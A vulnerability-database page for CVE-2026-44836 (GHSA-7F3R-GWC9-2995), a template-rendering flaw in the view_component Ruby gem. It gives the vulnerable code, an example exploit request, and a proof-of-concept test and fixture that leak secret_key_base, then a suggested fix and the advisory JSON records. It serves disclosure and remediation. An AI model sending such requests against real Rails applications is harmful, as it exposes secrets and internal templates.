Vulnerability-Lookup

GHSA-7F3R-GWC9-2995

Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-05-14 20:48

Summary

view_component: Preview Route Can Dispatch Inherited Helper Methods

Details

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

lib/view_component/preview.rb
app/controllers/concerns/view_component/preview_actions.rb
app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

my_component resolves to a valid preview.
File.basename(params[:path]) returns render_with_template.
render_args calls inherited ViewComponent::Preview#render_with_template.
Request params provide template: "internal/secret" and locals: {...}.
The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

test/sandbox/test/security_preview_template_poc_test.rb
test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true

require "test_helper"

class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
  def setup
    ViewComponent::Preview.__vc_load_previews
  end

  def test_preview_route_can_invoke_inherited_render_with_template
    refute_includes MyComponentPreview.examples, "render_with_template"

    assert_raises(ActionController::RoutingError) do
      Rails.application.routes.recognize_path("/internal/secret")
    end

    get(
      "/rails/view_components/my_component/render_with_template",
      params: {
        template: "internal/secret",
        locals: {poc_local: "attacker-controlled-local"},
        request_marker: "attacker-controlled-request"
      }
    )

    assert_response :success
    assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
    assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
    assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
  end
end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)

  example_params_names = instance_method(example).parameters.map(&:last)
  provided_params = params.slice(*example_params_names).to_h.symbolize_keys
  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
  result ||= {}
  result[:template] = preview_example_template_path(example) if result[:template].nil?
  @layout = nil unless defined?(@layout)
  result.merge(layout: @layout)
end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "view_component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-277"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:33:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(\u0026:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",
  "id": "GHSA-7f3r-gwc9-2995",
  "modified": "2026-05-14T20:48:35Z",
  "published": "2026-05-08T23:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ViewComponent/view_component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "view_component: Preview Route Can Dispatch Inherited Helper Methods"
}

CVE-2026-44836 (GCVE-0-2026-44836)

Vulnerability from cvelistv5 – Published: 2026-05-26 19:43 – Updated: 2026-05-27 13:21

Title

view_component: Preview Route Can Dispatch Inherited Helper Methods

Summary

view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-749 - Exposed Dangerous Method or Function

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/ViewComponent/view_component/s…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
ViewComponent	view_component	Affected: >= 3.0.0, < 4.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44836",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-27T13:21:32.395983Z",
                "version": "2.0.3"
              },
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          "dateUpdated": "2026-05-27T13:21:54.259Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "view_component",
          "vendor": "ViewComponent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 4.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
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          }
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      "providerMetadata": {
        "dateUpdated": "2026-05-26T19:43:58.008Z",
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      "title": "view_component: Preview Route Can Dispatch Inherited Helper Methods"
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    "datePublished": "2026-05-26T19:43:58.008Z",
    "dateReserved": "2026-05-07T21:21:48.352Z",
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    "state": "PUBLISHED"
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-7F3R-GWC9-2995

Summary

Relevant Code

Exploit Flow

PoC Test

Suggested Fix

CVE-2026-44836 (GCVE-0-2026-44836)

Tags

Sightings

Nomenclature